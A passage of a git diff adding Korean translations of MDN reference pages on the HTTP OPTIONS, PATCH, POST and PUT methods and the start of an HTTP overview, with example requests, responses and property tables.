+<h2 id="Examples">Examples</h2>
+
+<h3 id="Identifying_allowed_request_methods">Identifying allowed request methods</h3>
+
+<p>curl을 이용하여 OPTIONS 요청을 서버에 보냄으로써 서버에서 지원하는 method를 확인할 수 있다.</p>
+
+<pre>curl -X OPTIONS http://example.org -i</pre>
+
+<p>요청을 보내면, 응답에 {{HTTPHeader("Allow")}}헤더가 포함되어서 오는데, 이를 통해 허용되는 메소드를 확인할 수 있다.</p>
+
+<pre>HTTP/1.1 200 OK
+Allow: OPTIONS, GET, HEAD, POST
+Cache-Control: max-age=604800
+Date: Thu, 13 Oct 2016 11:45:00 GMT
+Expires: Thu, 20 Oct 2016 11:45:00 GMT
+Server: EOS (lax004/2813)
+x-ec-custom-error: 1
+Content-Length: 0
+</pre>
+
+<h3 id="Preflighted_requests_in_CORS">Preflighted requests in CORS</h3>
+
+
+
+<p>In <a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a> 에서, <code>OPTIONS</code> 메소드를 통해 프리플라이트 요청 (preflight, 사전 전달), 즉 사전 요청을 보내 서버가 해당 parameters를 포함한 요청을 보내도 되는지에 대한 응답을 줄 수 있게 한다. </p>
+
+<p>{{HTTPHeader("Access-Control-Request-Method")}} 헤더는 프리플라이트 요청의 일부분으로 서버에게 실제 요청이 전달 될 때  <code>POST</code> 요청 메소드로 전달될 것 임을 명시한다. </p>
+
+<p>{{HTTPHeader("Access-Control-Request-Headers")}} 헤더는 서버에게 실제 요청이 전달될 때 <code>X-PINGOTHER</code> 와 <code>Content-Type</code> custom headers 와 함께 전달될 것 임을 명시한다. 서버는 그럼 이러한 요구사항들에 맞춰 요청을 수락할 것인지 정할 수 있다.  </p>
+
+<pre>OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre>
+
+<p>서버는 {{HTTPHeader("Access-Control-Allow-Methods")}}로 응답하고, <code>POST</code>, <code>GET</code>, 그리고 <code>OPTIONS</code> 메소드를 통해서 해당하는 자원을 문의 (query) 할 수 알려준다. 이 헤더는 {{HTTPHeader("Allow")}} 응답 헤더와 비슷하지만 반드시 CORS 에 한해서만 사용된다. </p>
+
+<pre>HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "OPTIONS", "4.3.7")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.OPTIONS")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}} header</li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a></li>
+</ul>
diff --git a/files/ko/web/http/methods/patch/index.html b/files/ko/web/http/methods/patch/index.html
new file mode 100644
index 0000000000..a67f4a7c87
--- /dev/null
+++ b/files/ko/web/http/methods/patch/index.html
@@ -0,0 +1,95 @@
+---
+title: PATCH
+slug: Web/HTTP/Methods/PATCH
+translation_of: Web/HTTP/Methods/PATCH
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP PATCH</strong> 메소드는 리소스의 부분적인 수정을 할 때에 사용됩니다.</p>
+
+<p>HTTP {{HTTPMethod("PUT")}} 메소드는 문서 전체의 완전한 교체만을 허용합니다. 반면 <code>PATCH</code> 메소드는 <code>PUT</code> 메소드와 달리 멱등성을 가지지 않는데, 이는 동일한 patch 요청이 다른 결과를 야기할 수도 있음을 뜻합니다. 하지만 PATCH를 PUT과 같은 방식으로 사용함으로써 멱등성을 가지게 할 수도 있습니다.</p>
+
+<p><code>PATCH</code> (혹은 <code>PUT</code>)는 다른 리소스에게 부수효과(side-effects)를 일으킬 가능성이 있습니다.</p>
+
+<p>서버가 <code>PATCH</code>를 지원하는지 알 수 있게끔 하기 위해, 서버는 {{HTTPHeader("Allow")}} 리스트 혹은 {{HTTPHeader("Access-Control-Allow-Methods")}} (for CORS) 응답 헤더를 통해 이를 명시할 수 있습니다.</p>
+
+<p>PATCH가 허용되는지 확인할 수 있는 또 다른 (암묵적인)지표로 {{HTTPHeader("Accept-Patch")}}의 존재 유무를 들 수 있는데, 이를 통해 patch 문서 양식이 서버에 받아 들여졌음을 알 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Request has body</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Successful response has body</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Allowed in <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms</a></th>
+   <td>No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">PATCH /file.txt HTTP/1.1
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="Request">Request</h3>
+
+<pre class="line-numbers  language-html notranslate">PATCH /file.txt HTTP/1.1
+Host: www.example.com
+Content-Type: application/example
+If-Match: "e0023aa4e"
+Content-Length: 100
+
+[description of changes]</pre>
+
+<h3 id="Response">Response</h3>
+
+<p>성공적인 응답은 2xx 상태 코드를 통해서 확인할 수 있습니다.</p>
+
+<p>아래의 예시에서는 {{HTTPStatus("204")}} 응답이 사용되었는데, 이는 응답이 유의미한 body를 전달하고 있지 않기 때문입니다. {HTTPStatus("200")}} 응답에서는 body에 유의미한 데이터가 포함되어 있음을 유추할 수 있습니다.</p>
+
+<pre class="newpage notranslate">HTTP/1.1 204 No Content
+Content-Location: /file.txt
+ETag: "e0023aa4f"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("5789", "PATCH")}}</td>
+   <td>PATCH Method for HTTP</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus("204")}}</li>
+ <li>{{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}</li>
+ <li>{{HTTPHeader("Accept-Patch")}} – specifies the patch document formats accepted by the server.</li>
+</ul>
diff --git a/files/ko/web/http/methods/post/index.html b/files/ko/web/http/methods/post/index.html
new file mode 100644
index 0000000000..75884855fc
--- /dev/null
+++ b/files/ko/web/http/methods/post/index.html
@@ -0,0 +1,127 @@
+---
+title: POST
+slug: Web/HTTP/Methods/POST
+tags:
+  - HTTP
+  - Reference
+  - Request method
+translation_of: Web/HTTP/Methods/POST
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>POST</code> 메서드</strong>는 서버로 데이터를 전송합니다. 요청 본문의 유형은 {{httpheader("Content-Type")}} 헤더로 나타냅니다.</p>
+
+<p>{{httpmethod("PUT")}}과 <code>POST</code>의 차이는 {{glossary("idempotent", "멱등성")}}으로, <code>PUT</code>은 멱등성을 가집니다. <code>PUT</code>은 한 번을 보내도, 여러 번을 연속으로 보내도 같은 효과를 보입니다. 즉, 부수 효과(side effect)가 없습니다.</p>
+
+<p><code>POST</code> 요청은 보통 <a href="/ko/docs/Learn/HTML/Forms">HTML 양식</a>을 통해 서버에 전송하며, 서버에 변경사항을 만듭니다. 이 경우의 콘텐츠 유형(<code>Content-Type</code>)은 <dfn> {{HTMLElement("form")}} 요소의 {{htmlattrxref("enctype", "form")}} 특성이나 {{HTMLElement("input") }}, {{HTMLElement("button")}} </dfn>요소의 <dfn>{{htmlattrxref("formenctype", "input")}} 특성 안에 적당한 문자열을 넣어 결정합니다.</dfn></p>
+
+<ul>
+ <li><code>application/</code><dfn><code>x-www-form-urlencoded</code>: &amp;으로 분리되고, "=" 기호로 값과 키를 연결하는 key-value tuple로 인코딩되는 값입니다.</dfn><dfn> 영어 알파벳이 아닌 문자들은 {{glossary("percent encoded")}} 으로 인코딩됩니다. 따라서, 이 content type은 바이너리 데이터에 사용하기에는 적절치 않습니다. (바이너리 데이터에는 use <code>multipart/form-data</code> 를 사용해 주세요.)</dfn></li>
+ <li><dfn><code>multipart/form-data</code></dfn></li>
+ <li><dfn><code>text/plain</code></dfn></li>
+</ul>
+
+<p><code>POST</code> 요청을 HTML 양식 외의 다른 방법({{domxref("XMLHttpRequest")}} 등)으로 전송할 땐 요청의 본문이 어떤 형태도 취할 수 있습니다. HTTP 1.1 규격에 정의된 바와 같이, <code>POST</code>는 다음의 기능을 포함하는 균일한 메서드를 허용하도록 설계되었습니다.</p>
+
+<ul>
+ <li>기존 리소스에 주석달기</li>
+ <li>게시판, 뉴스 그룹, 메일링 리스트나 이와 유사한 시스템에 글 올리기</li>
+ <li>회원가입 모달로 새로운 사용자 추가하기</li>
+ <li>양식 전송 결과 등 데이터 블록을 데이터 처리 프로세스에 보내기</li>
+ <li>이어붙이기 연산을 통한 데이터베이스 확장</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">요청에 본문 존재</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">성공 응답에 본문 존재</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe", "안전함")}}</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent", "멱등성")}}</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable", "캐시 가능")}}</th>
+   <td>신선도 정보 포함 시</td>
+  </tr>
+  <tr>
+   <th scope="row">HTML 양식에서 사용 가능</th>
+   <td>예</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">POST /index.html
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음은 <code>application/x-www-form-urlencoded</code> 콘텐츠 유형을 사용하는 간단한 형태의 양식 제출 예시입니다.</p>
+
+<pre class="line-numbers  language-html">POST / HTTP/1.1
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&amp;to=Mom</pre>
+
+<p><code>multipart/form-data</code> 콘텐츠 유형을 사용하는 예시입니다.</p>
+
+<pre>POST /test.html HTTP/1.1
+Host: example.org
+Content-Type: multipart/form-data;boundary="boundary"
+
+--boundary
+Content-Disposition: form-data; name="field1"
+
+value1
+--boundary
+Content-Disposition: form-data; name="field2"; filename="example.txt"
+
+value2
+--boundary--
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "POST", "4.3.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+  <tr>
+   <td>{{RFC("2046", "Common Syntax", "5.1.1")}}</td>
+   <td>Multipurpose Internet Mail Extensions (MIME) Part Two: Media Types</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.POST")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPHeader("Content-Disposition")}}</li>
+ <li>{{httpmethod("GET")}}</li>
+</ul>
diff --git a/files/ko/web/http/methods/put/index.html b/files/ko/web/http/methods/put/index.html
new file mode 100644
index 0000000000..0f440eb174
--- /dev/null
+++ b/files/ko/web/http/methods/put/index.html
@@ -0,0 +1,101 @@
+---
+title: PUT
+slug: Web/HTTP/Methods/PUT
+tags:
+  - HTTP
+  - HTTP method
+  - Reference
+  - Request method
+translation_of: Web/HTTP/Methods/PUT
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>PUT</code> 메서드</strong>는 요청 페이로드를 사용해 새로운 리소스를 생성하거나, 대상 리소스를 나타내는 데이터를 대체합니다.</p>
+
+<p><code>PUT</code>과 {{httpmethod("POST")}}의 차이는 {{glossary("idempotent", "멱등성")}}으로, <code>PUT</code>은 멱등성을 가집니다. <code>PUT</code>은 한 번을 보내도, 여러 번을 연속으로 보내도 같은 효과를 보입니다. 즉, 부수 효과가 없습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">요청에 본문 존재</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">성공 응답에 본문 존재</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe", "안전함")}}</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent", "멱등성")}}</th>
+   <td>예</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable", "캐시 가능")}}</th>
+   <td>아니오</td>
+  </tr>
+  <tr>
+   <th scope="row">HTML 양식에서 사용 가능</th>
+   <td>아니오</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">PUT /new.html HTTP/1.1
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="요청">요청</h3>
+
+<pre>PUT /new.html HTTP/1.1
+Host: example.com
+Content-type: text/html
+Content-length: 16
+
+&lt;p&gt;New File&lt;/p&gt;</pre>
+
+<h3 id="응답">응답</h3>
+
+<p>대상 리소스를 나타내는 데이터가 없고, PUT 요청이 성공적으로 하나를 새로 생성한 경우, 출처 서버는 반드시 {{glossary("user agent", "사용자 에이전트")}}에게 {{HTTPStatus("201")}} (<code>Created</code>) 응답을 보내 해당 사항을 알려줘야 합니다.</p>
+
+<pre class="newpage">HTTP/1.1 201 Created
+Content-Location: /new.html</pre>
+
+<p>대상 리소스를 나타내는 데이터가 있고, 이를 요청에 포함된 자료에 준하여 성공적으로 수정했다면, 출처 서버는 반드시 {{httpstatus("200")}} (<code>OK</code>) 또는 {{httpstatus("204")}} (<code>No Content</code>) 응답을 보내 성공을 알려줘야 합니다.</p>
+
+<pre>HTTP/1.1 204 No Content
+Content-Location: /existing.html
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">제목</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "PUT", "4.3.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.PUT")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPStatus("201")}}</li>
+ <li>{{HTTPStatus("204")}}</li>
+</ul>
diff --git a/files/ko/web/http/overview/index.html b/files/ko/web/http/overview/index.html
new file mode 100644
index 0000000000..f353394867
--- /dev/null
+++ b/files/ko/web/http/overview/index.html
@@ -0,0 +1,179 @@
+---
+title: HTTP 개요
+slug: Web/HTTP/Overview
+tags:
+  - HTTP
+  - Overview
+  - WebMechanics
+  - 'l10n:priority'
+translation_of: Web/HTTP/Overview
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><strong>HTTP는 HTML 문서와 같은 리소스들을 가져올 수 있도록 해주는 </strong>{{glossary("protocol", "프로토콜")}}입니다. HTTP는 웹에서 이루어지는 모든 데이터 교환의 기초이며, 클라이언트-서버 프로토콜이기도 합니다. 클라이언트-서버 프로토콜이란 (보통 웹브라우저인) 수신자 측에 의해 요청이 초기화되는 프로토콜을 의미합니다. 하나의 완전한 문서는 텍스트, 레이아웃 설명, 이미지, 비디오, 스크립트 등 불러온(fetched) 하위 문서들로 재구성됩니다.</p>
+
+<p><img alt="A Web document is the composition of different resources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;"></p>
+
+<p>클라이언트와 서버들은 (데이터 스트림과 대조적으로) 개별적인 메시지 교환에 의해 통신합니다. 보통 브라우저인 클라이언트에 의해 전송되는 메시지를 <em>요청(requests)이</em>라고 부르며, 그에 대해 서버에서 응답으로 전송되는 메시지를 응답(<em>responses)이</em>라고 부릅니다.</p>
+
+<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&amp;%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">1990년대 초에 설계된 HTTP는 거듭하여 진화해온 확장 가능한 프로토콜입니다. HTTP는 애플리케이션 계층의 프로토콜로, 신뢰 가능한 전송 프로토콜이라면 이론상으로는 무엇이든 사용할 수 있으나 {{glossary("TCP")}} 혹은 암호화된 TCP 연결인 {{glossary("TLS")}}를 통해 전송됩니다. HTTP의 확장성 덕분에, 오늘날 하이퍼텍스트 문서 뿐만 아니라 이미지와 비디오 혹은 HTML 폼 결과와 같은 내용을 서버로 포스트(POST)하기 위해서도 사용됩니다. HTTP는 또한 필요할 때마다 웹 페이지를 갱신하기 위해 문서의 일부를 가져오는데 사용될 수도 있습니다.</p>
+
+<h2 id="HTTP_기반_시스템의_구성요소">HTTP 기반 시스템의 구성요소</h2>
+
+<p>HTTP는 클라이언트-서버 프로토콜입니다. 요청은 하나의 개체, 사용자 에이전트(또는 그것을 대신하는 프록시)에 의해 전송됩니다. 대부분의 경우, 사용자 에이전트는 브라우저지만, 무엇이든 될 수 있습니다. 예를 들어, 검색 엔진 인덱스를 채워넣고 유지하기 위해 웹을 돌아다니는 로봇이 그러한 경우입니다.</p>
+
+<p>각각의 개별적인 요청들은 서버로 보내지며, 서버는 요청을 처리하고 <em>response</em>라고 불리는 응답을 제공합니다. 이 요청과 응답 사이에는 여러 개체들이 있는데, 예를 들면 다양한 작업을 수행하는 게이트웨이 또는 {{glossary("Cache", "캐시")}} 역할을 하는 {{glossary("Proxy", "프록시")}} 등이 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png" style="height: 121px; width: 819px;"></p>
+
+<p>실제로는 브라우저와 요청을 처리하는 서버 사이에는 좀 더 많은 컴퓨터들이 존재합니다: 라우터, 모뎀 등이 있죠. 웹의 계층적인 설계 덕분에, 이들은 네트워크와 전송 계층 내로 숨겨집니다. HTTP은 애플리케이션 계층의 최상위에 있습니다. 네트워크 문제를 진단하는 것도 중요하지만, 기본 레이어들은 HTTP의 명세와는 거의 관련이 없습니다.</p>
+
+<h3 id="클라이언트_사용자_에이전트">클라이언트: 사용자 에이전트</h3>
+
+<p>사용자 에이전트는 사용자를 대신하여 동작하는 모든 도구입니다. 이 역할은 주로 브라우저에 의해 수행됩니다; 엔지니어들과 자신들의 애플리케이션을 디버그하는 웹 개발자들이 사용하는 프로그램들은 예외입니다.</p>
+
+<p>브라우저는 <strong>항상</strong> 요청을 보내는 개체입니다. 그것은 결코 서버가 될 수 없습니다(수년에 걸쳐 서버 초기화된 메시지를 시뮬레이션하기 위해 몇 가지 메커니즘이 추가되어 왔지만).</p>
+
+<p>웹 페이지를 표시하기 위해, 브라우저는 페이지의 HTML 문서를 가져오기 위한 요청을 전송한 뒤, 파일을 구문 분석하여 실행해야 할 스크립트 그리고 페이지 내 포함된 하위 리소스들(보통 이미지와 비디오)을 잘 표시하기 위한 레이아웃 정보(CSS)에 대응하는 추가적인 요청들을 가져옵니다. 그런 뒤에 브라우저는 완전한 문서인 웹 페이지를 표시하기 위해 그런 리소스들을 혼합합니다. 브라우저에 의해 실행된 스크립트는 이후 단계에서 좀 더 많은 리소스들을 가져올 수 있으며 브라우저는 그에 따라 웹 페이지를 갱신하게 됩니다.</p>
+
+<p>웹 페이지는 하이퍼텍스트 문서로, 표시된 텍스트의 일부는 사용자가 사용자 에이전트를 제어하고 웹을 돌아다닐 수 있도록 새로운 웹 페이지를 가져오기 위해 실행(보통 마우스 클릭에 의해)될 수 있는 링크임을 뜻합니다. 브라우저는 HTTP 요청 내에서 이런 지시 사항들을 변환하고 HTTP 응답을 해석하여 사용자에게 명확한 응답을 표시합니다.</p>
+
+<h3 id="웹_서버">웹 서버</h3>
+
+<p>통신 채널의 반대편에는 클라이언트에 의한 요청에 대한 문서를 <em>제공</em>하는 서버가 존재합니다. 서버는 사실 상 논리적으로 단일 기계입니다.이는 로드(로드 밸런싱) 혹은 그때 그때 다른 컴퓨터(캐시, DB 서버, e-커머스 서버 등과 같은)들의 정보를 얻고 완전하게 혹은 부분적으로 문서를 생성하는 소프트웨어의 복잡한 부분을 공유하는 서버들의 집합일 수도 있기 때문입니다.</p>
+
+<p>서버는 반드시 단일 머신일 필요는 없지만, 여러 개의 서버를 동일한 머신 위에서 호스팅 할 수는 있습니다. HTTP/1.1과 {{HTTPHeader("Host")}} 헤더를 이용하여, 동일한 IP 주소를 공유할 수도 있습니다.</p>
+
+<h3 id="프록시">프록시</h3>
+
+<p>웹 브라우저와 서버 사이에서는 수많은 컴퓨터와 머신이 HTTP 메시지를 이어 받고 전달합니다. 여러 계층으로 이루어진 웹 스택 구조에서 이러한 컴퓨터/머신들은 대부분은 전송, 네트워크 혹은 물리 계층에서 동작하며, 성능에 상당히 큰 영향을 주지만 HTTP 계층에서는 이들이 어떻게 동작하는지 눈에 보이지 않습니다. 이러한 컴퓨터/머신 중에서도 애플리케이션 계층에서 동작하는 것들을 일반적으로 <strong>프록시</strong>라고 부릅니다. 프록시는 눈에 보이거나 그렇지 않을 수도 있으며(프록시를 통해 요청이 변경되거나 변경되지 않는 경우를 말함) 다양한 기능들을 수행할 수 있습니다:</p>
+
+<ul>
+ <li>캐싱 (캐시는 공개 또는 비공개가 될 수 있습니다 (예: 브라우저 캐시))</li>
+ <li>필터링 (바이러스 백신 스캔, 유해 컨텐츠 차단(자녀 보호) 기능)</li>
+ <li>로드 밸런싱 (여러 서버들이 서로 다른 요청을 처리하도록 허용)</li>
+ <li>인증 (다양한 리소스에 대한 접근 제어)</li>
+ <li>로깅 (이력 정보를 저장)</li>
+</ul>
+
+<h2 id="HTTP의_기초적인_측면">HTTP의 기초적인 측면</h2>
+
+<h3 id="HTTP은_간단합니다">HTTP은 간단합니다</h3>
+
+<p>HTTP는 사람이 읽을 수 있으며 간단하게 고안되었습니다. 심지어 HTTP/2가 다소 더 복잡해졌지만 여전히 HTTP 메세지를 프레임별로 캡슐화하여 간결함을 유지하였습니다. HTTP 메시지들은 사람이 읽고 이해할 수 있어, 테스트하기 쉽고 초심자의 진입장벽을 낮췄습니다.</p>
+
+<h3 id="HTTP은_확장_가능합니다">HTTP은 확장 가능합니다</h3>
+
+<p>HTTP/1.0에서 소개된, <a href="/en-US/docs/Web/HTTP/Headers">HTTP 헤더</a>는 HTTP를 확장하고 실험하기 쉽게 만들어주었습니다. 클라이언트와 서버가 새로운 헤더의 시맨틱에 대해 간단한 합의만 한다면, 언제든지 새로운 기능을 추가할 수 있습니다.</p>
+
+<h3 id="HTTP은_상태가_없지만_세션은_있습니다">HTTP은 상태가 없지만, 세션은 있습니다</h3>
+
+<p>HTTP는 상태를 저장하지 않습니다(Stateless). 동일한 연결 상에서 연속하여 전달된 두 개의 요청 사이에는 연결고리가 없습니다. 이는 e-커머스 쇼핑 바구니처럼, 일관된 방식으로 사용자가 페이지와 상호작용하길 원할 때 문제가 됩니다. 하지만, HTTP의 핵심은 상태가 없는 것이지만 HTTP 쿠키는 상태가 있는 세션을 만들도록 해줍니다.<br>
+ 헤더 확장성을 사용하여, 동일한 컨텍스트 또는 동일한 상태를 공유하기 위해 각각의 요청들에 세션을 만들도록 HTTP 쿠키가 추가됩니다.</p>
+
+<h3 id="HTTP와_연결">HTTP와 연결</h3>
+
+<p>연결은 전송 계층에서 제어되므로 근본적으로 HTTP 영역 밖입니다. HTTP는 연결될 수 있도록 하는 근본적인 전송 프로토콜을 요구하지 않습니다; 다만 그저 신뢰할 수 있거나 메시지 손실이 없는(최소한의 오류는 표시) 연결을 요구할 뿐입니다. 인터넷 상의 가장 일반적인 두 개의 전송 프로토콜 중에서 TCP는 신뢰할 수 있으며 UDP는 그렇지 않습니다. 그러므로 HTTP는 연결이 필수는 아니지만 연결 기반인 TCP 표준에 의존합니다.</p>
+
+<p>클라이언트와 서버가 HTTP를 요청/응답으로 교환하기 전에 여러 왕복이 필요한 프로세스인 TCP 연결을 설정해야 합니다. HTTP/1.0의 기본 동작은 각 요청/응답에 대해 별도의 TCP 연결을 여는 것입니다. 이 동작은 여러 요청을 연속해서 보내는 경우에는 단일 TCP 연결을 공유하는 것보다 효율적이지 못합니다.</p>
+
+<p>이러한 결함을 개선하기 위해, HTTP/1.1은 (구현하기 어렵다고 입증된) 파이프라이닝 개념과 지속적인 연결의 개념을 도입했습니다: 기본적인 TCP 연결은 {{HTTPHeader("Connection")}} 헤더를 사용해 부분적으로 제어할 수 있습니다. HTTP/2는 연결을 좀 더 지속되고 효율적으로 유지하는데 도움이 되도록, 단일 연결 상에서 메시지를 다중 전송(multiplex)하여 한 걸음 더 나아갔습니다.</p>
+
+<p>HTTP에 더 알맞은 좀 더 나은 전송 프로토콜을 설계하는 실험이 진행 중에 있습니다. 예를 들어, 구글은 좀 더 신뢰성있고 효율적인 전송 프로토콜을 제공하기 위해 UDP기반의 <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a>를 실험 중에 있습니다.</p>
+
+<h2 id="HTTP로_제어할_수_있는_것">HTTP로 제어할 수 있는 것</h2>
+
+<p>HTTP의 확장 가능한 특성은 수년 간에 걸쳐 웹의 점점 더 많은 기능들을 제어하도록 허용되어 왔습니다. 캐시 혹은 인증 메서드는 HTTP에 초기부터 제어해왔던 기능이며, 반면에 <code>origin</code> <em>제약사항</em>을 완화시키는 조치는 2010년에 들어서 추가되었습니다.</p>
+
+<p>다음은 HTTP 사용하여 제어 가능한 일반적인 기능 목록입니다.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Caching">캐시</a><br>
+  HTTP로 문서가 캐시되는 방식을 제어할 수 있습니다. 서버는 캐시 대상과 기간을 프록시와 클라이언트에 지시할 수 있고 클라이언트는 저장된 문서를 무시하라고 중간 캐시 프록시에게 지시할 수 있습니다.</li>
+ <li><em>origin 제약사항을 완화하기</em><br>
+  스누핑과 다른 프라이버시 침해를 막기 위해, 브라우저는 웹 사이트 간의 엄격한 분리를 강제합니다. <strong>동일한 origin</strong>으로부터 온 페이지만이 웹 페이지의 전체 정보에 접근할 수 있죠. 그런 제약 사항은 서버에 부담이 되지만, HTTP 헤더를 통해 그것을 완화시킬 수 있습니다. 그런 덕분에 문서는 다른 도메인으로부터 전달된 정보를 패치워크할 수 있습니다(그렇게 하려면 어떤 경우에 보안과 관련된 사항이 있을 수도 있습니다).</li>
+ <li><em>인증</em><br>
+  어떤 페이지들은 보호되어 오로지 특정 사용자만이 그것에 접근할 수도 있습니다. 기본 인증은 HTTP를 통해 {{HTTPHeader("WWW-Authenticate")}} 또는 유사한 헤더를 사용해 제공되거나, <a href="/ko/docs/Web/HTTP/Cookies">HTTP 쿠키</a>를 사용해 특정 세션을 설정하여 이루어질 수도 있습니다.</li>
+ <li><a href="/ko/docs/Web/HTTP/Proxy_servers_and_tunneling">프록시와 터널링</a><br>
+  서버 혹은 클라이언트 혹은 그 둘 모두는 종종 인트라넷에 위치하며 다른 개체들에게 그들의 실제 주소를 숨기기도 합니다. HTTP 요청은 네트워크 장벽을 가로지르기 위해 프록시를 통해 나가게 되죠. 모든 프록시가 HTTP 프록시는 아닙니다. 예를 들면 SOCKS 프로토콜은 좀 더 저수준에서 동작합니다. FTP와 같은 다른 프로토콜도 이 프록시를 통해 처리될 수 있습니다.</li>
+ <li><em>세션</em><br>
